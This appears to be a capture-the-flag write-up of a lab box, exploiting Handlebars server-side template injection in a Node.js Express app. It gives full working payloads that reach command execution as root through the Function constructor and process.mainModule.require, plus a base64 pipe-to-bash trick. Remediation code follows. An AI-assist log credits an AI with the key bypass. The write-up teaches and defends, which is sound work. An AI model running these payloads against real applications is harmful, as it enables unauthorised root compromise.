Box info | OS: Ubuntu Linux 5.0–5.14 (Node.js Express) | Difficulty: Very Easy | Tier: 1 | Status: Starting Point Skills: SSTI detection, Handlebars template injection, Node.js RCE, process.mainModule bypass Pwned: 2026-04-28

TL;DR

Bike is a Tier 1 box demonstrating Server-Side Template Injection (SSTI) in a Node.js Express application using Handlebars as the template engine. The app has a single form that accepts an email address and reflects it back. Sending {{7*7}} produces a Handlebars parse error with a full stack trace — immediately revealing the vulnerable file (handlers.js:15) and the template engine name. From here, a multi-step Handlebars sandbox escape via string.sub.constructorFunctionglobal.process.mainModule.require('child_process').execSync() achieves RCE as root. The flag is at /root/flag.txt. From error message to root shell in under 5 minutes.

Recon

1. Liveness check

$ ping -c 2 10.129.97.64
64 bytes from 10.129.97.64: icmp_seq=0 ttl=63 time=35.0 ms
64 bytes from 10.129.97.64: icmp_seq=1 ttl=63 time=88.2 ms

TTL=63 → Linux.

2. Full port scan

$ sudo nmap -sV -sC -O -p- --min-rate=5000 10.129.97.64
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open  http    Node.js (Express middleware)
|_http-title:  Bike
Device type: general purpose
Running: Linux 5.X

Two ports: SSH (22) and HTTP (80). HTTP is served by Node.js Express — confirmed by the X-Powered-By: Express response header.

3. Web application analysis

curl -s http://10.129.97.64/

A simple under-construction page with a single email subscription form:

<form id="form" method="POST" action="/">
    <input name="email" placeholder="E-mail"></input>
    <button type="submit" name="action" value="Submit">Submit</button>
</form>

POST a test email:

curl -s -X POST http://10.129.97.64/ -d "email=test@test.com"

Response: <p class="result">We will contact you at: test@test.com</p>

The submitted email is reflected verbatim in the response. Classic SSTI candidate.

Foothold

Dead end #1 — wordlist-based directory fuzzing failed

gobuster dir -u http://10.129.97.64/ -w /usr/share/wordlists/... 
# Error: wordlist not found at path

Wordlists at the Kali default path don’t exist on macOS. Not needed anyway — the vulnerability is in the form, not in hidden paths.

Dead end #2 — other template syntaxes don’t execute

curl -s -X POST http://10.129.97.64/ -d 'email=${7*7}'
# → We will contact you at: ${7*7}  (not evaluated — EL-style syntax ignored)

curl -s -X POST http://10.129.97.64/ -d 'email=<%= 7*7 %>'
# → We will contact you at: &lt;%= 7*7 %&gt;  (HTML-encoded — EJS syntax not in use)

Neither JavaScript template literals nor EJS/Jinja syntax executes. Only Handlebars {{ }} syntax is processed.

Dead end #3 — require not defined in Handlebars eval context

The first RCE attempt used the standard Node.js require function:

curl -s -X POST http://10.129.97.64/ --data-urlencode \
  'email={{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('"'"'child_process'"'"').execSync('"'"'id'"'"').toString();"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}'

Response error:

ReferenceError: require is not defined
    at Function.eval (eval at createFunctionContext ...)

The Handlebars createFunctionContext wraps the generated code in a function that doesn’t have require in scope. require is available in Node.js module scope but not inside Handlebars’s eval sandbox.

Step 1 — template probe confirms Handlebars

curl -s -X POST http://10.129.97.64/ -d 'email={{7*7}}'

Error response (key excerpt):

["Error: Parse error on line 1:",
"{{7*7}}",
"--^",
"Expecting 'ID', 'STRING', 'NUMBER'..., got 'INVALID'",
"    at Parser.parseError (...handlebars/compiler/parser.js:268:19)",
"    at router.post (/root/Backend/routes/handlers.js:15:18)",
...]

This single error reveals:

  1. Template engine: Handlebars
  2. Vulnerable file: /root/Backend/routes/handlers.js, line 15
  3. App runs as root: path is /root/Backend/...
  4. Error handling leaks stack traces: res.send(e.stack.split("\n")) in the catch block

Working approach — bypass require with global.process.mainModule

global.process is available in any Node.js context. process.mainModule.require() is the bypass for contexts where require is not directly in scope:

curl -s -X POST http://10.129.97.64/ --data-urlencode \
  'email={{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return global.process.mainModule.require('"'"'child_process'"'"').execSync('"'"'id'"'"').toString();"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}'

Response:

uid=0(root) gid=0(root) groups=0(root)

RCE as root confirmed.

How the payload works (chain breakdown)

{{#with "s" as |string|}}           → bind the string "s" to |string|
  {{#with "e"}}                     → context = "e"
    {{#with split as |conslist|}}   → conslist = ["e"].split() = ["e"]
      {{this.pop}}                   remove "e", conslist = []
      {{this.push (lookup string.sub "constructor")}}
                                     push String.prototype.sub.constructor = Function
      {{this.pop}}                   pop Function object (consumed)
      {{#with string.split as |codelist|}}
        {{this.pop}}                 remove elements from codelist
        {{this.push "return global.process.mainModule.require('child_process').execSync('id').toString();"}}
                                     codelist = [our code string]
        {{this.pop}}
        {{#each conslist}}          → iterate conslist (contains Function)
          {{#with (string.sub.apply 0 codelist)}}
                                     calls Function.apply(null, [codestring])
                                     equivalent to: new Function(codestring)()
                                     executes our code

The trick: string.sub.constructor = String.prototype.sub.constructor = Function. Then Function.apply(null, [code]) creates and executes an anonymous function with our code.

Flag retrieval

curl -s -X POST http://10.129.97.64/ --data-urlencode \
  'email={{#with "s" as |string|}}...{{this.push "return global.process.mainModule.require('"'"'child_process'"'"').execSync('"'"'cat /root/flag.txt'"'"').toString();"}}...{{/with}}'

Output: [REDACTED]

For commands with special characters (paths with /, =, spaces), base64 encoding helps:

CMD=$(echo 'cat /root/flag.txt' | base64)
# Then in payload:
# execSync("echo BASE64 | base64 -d | bash").toString()

Privilege Escalation

N/A — The Node.js application runs directly as root (as confirmed by uid=0(root) from the id command). The SSTI payload immediately provides a root shell. No privilege escalation step is needed or possible — we are already root.

Root cause of running as root: The Node.js process (/usr/bin/node index.js, PID 1359) was started by the system without dropping privileges. In production, Node.js applications should run as a dedicated low-privilege service user, never as root.

What’s actually broken

  1. handlebars.compile(req.body.email) — user input treated as a Handlebars template. The handler literally compiles user-submitted email strings as Handlebars templates and evaluates them. This is CWE-94 (Code Injection) / SSTI. The fix is trivially simple: don’t compile user input as a template.
  2. Full stack trace returned to the client (res.send(e.stack.split("\n"))). The error handler sends the complete stack trace, including file paths and line numbers, to any client that triggers an error. This is information disclosure (CWE-209) that turned a black-box test into a white-box test in one request.
  3. Node.js application running as root. The node process has uid=0. Any code execution vulnerability immediately gives the attacker full system access. This eliminates the defense-in-depth that a non-privileged service user would provide.

Remediation (the boring half)

Fix the template handler in routes/handlers.js:

// VULNERABLE:
router.post('/', async (req, res) => {
    var template = handlebars.compile(req.body.email);  // DON'T DO THIS
    let result = template({});
    res.render('index', { result });
});

// FIXED:
router.post('/', async (req, res) => {
    const email = req.body.email;
    // Validate email format
    const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    if (!emailRegex.test(email)) {
        return res.render('index', { result: 'Invalid email format.' });
    }
    // Use email as data, not as template
    const template = handlebars.compile('We will contact you at: {{email}}');
    res.render('index', { result: template({ email }) });
});

Fix error handling:

// VULNERABLE:
} catch (e) {
    res.send(e.stack.split("\n"));  // exposes stack trace
}

// FIXED:
} catch (e) {
    console.error('Template error:', e.message);  // log server-side only
    res.status(500).render('error', { message: 'An error occurred.' });
}

Run as non-root:

# Create service user
useradd -r -s /bin/false nodeapp

# /etc/systemd/system/bike.service
[Service]
User=nodeapp
Group=nodeapp
ExecStart=/usr/bin/node /root/Backend/index.js
NoNewPrivileges=yes

MITRE ATT&CK mapping

TacticTechniqueHow it shows up here
ReconnaissanceT1046 — Network Service DiscoveryPort scan finds Node.js Express on port 80
Initial AccessT1190 — Exploit Public-Facing ApplicationSSTI via handlebars.compile(user_input)
ExecutionT1059.004 — Unix ShellexecSync('id') and execSync('cat /root/flag.txt') via SSTI payload
CollectionT1005 — Data from Local SystemReading /root/flag.txt via RCE

Lessons learned

  • Error messages are reconnaissance. The stack trace from {{7*7}} contained the template engine name, the vulnerable file path, the exact line number, and the fact that the app runs as root. That single bad input reduced a black-box test to a near-white-box test.
  • SSTI detection is template-syntax agnostic. Test {{7*7}}, ${7*7}, <%= 7*7 %>, #{7*7} in sequence. The one that causes an error or evaluates to 49 tells you the engine. Each engine has its own sandbox escape technique.
  • require is not always available in template eval contexts. Handlebars’s createFunctionContext creates an isolated function scope. global.process.mainModule.require() bypasses this by going through the global object to the module system.
  • Running web apps as root is catastrophic. A trivial SSTI — which in a properly configured system gives you www-data or a limited service account — here gives you uid=0(root) and full system access. Privilege of least function is not optional.

🤖 AI-assist log

Transparency over polish. This is exactly where Claude was in the loop on this box.

StepWhat I askedWhat Claude returnedWhat I changed
Handlebars SSTI payload mechanics“Why doesn’t require work in the Handlebars eval context?”Explained createFunctionContext creates a function scope without require. Suggested global.process.mainModule.require as the bypass — process is always on global.Used directly — this was the key insight that unblocked Dead end #3.
SSTI payload chain explanation“Can you break down what each {{#with}} block does in the exploit payload?”Provided step-by-step breakdown of the string→split→constructor→Function chain. Explained that string.sub.constructor equals the Function constructor because all functions in JS share the same constructor.Incorporated into the “How the payload works” section verbatim.
Base64 command encoding“How do I pass commands with spaces and slashes to execSync cleanly?”Suggested: `echo ‘cmd’base64→ embed base64 in payload →execSync(“echo BASE64
Running as root detection“The error shows /root/Backend — does that mean the app runs as root?”Yes — the path /root/Backend/ is inside root’s home directory. Confirmed by uid=0(root) from id command. Noted the systemd service likely had no User= directive.Added to the “What’s actually broken” section.

What Claude got wrong: Gave the require payload first (Dead end #3) before the working global.process.mainModule.require bypass. Required correction. What Claude couldn’t do: Execute the payload against the live target; all commands ran locally. Net assist value: High — the global.process.mainModule.require bypass was the critical insight that came from Claude.

References